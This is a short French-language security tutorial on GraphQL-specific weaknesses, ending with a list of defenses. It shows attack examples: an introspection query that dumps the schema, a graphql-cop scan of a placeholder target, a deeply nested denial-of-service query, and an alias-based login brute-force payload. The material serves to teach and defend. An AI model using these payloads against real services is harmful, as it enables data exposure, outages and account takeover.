GraphQL — Vulnérabilités spécifiques
★★★★★
Qu'est-ce que GraphQL ?
GraphQL est une alternative à REST qui permet au client de demander précisément les données souhaitées en une seule requête. Risques spécifiques : sur-extraction de données, requêtes coûteuses, et introspection révélant tout le schéma.
Introspection et attaques
# Introspection (révèle TOUT le schéma)
POST /graphql
{"query": "{ __schema { types { name fields { name } } } }"}
graphql-cop -t https://target.com/graphql
# Requête récursive (DoS)
query { user { friends { friends { friends { name } } } } }
# Alias abuse : bruteforce via une seule requête
{
a: login(user:"admin", pass:"p1") { token }
b: login(user:"admin", pass:"p2") { token }
} Défenses
Désactiver l'introspection en production · Limiter la profondeur des requêtes · Limiter le coût des requêtes (cost analysis) · Rate limiting basé sur les résolveurs, pas les requêtes HTTP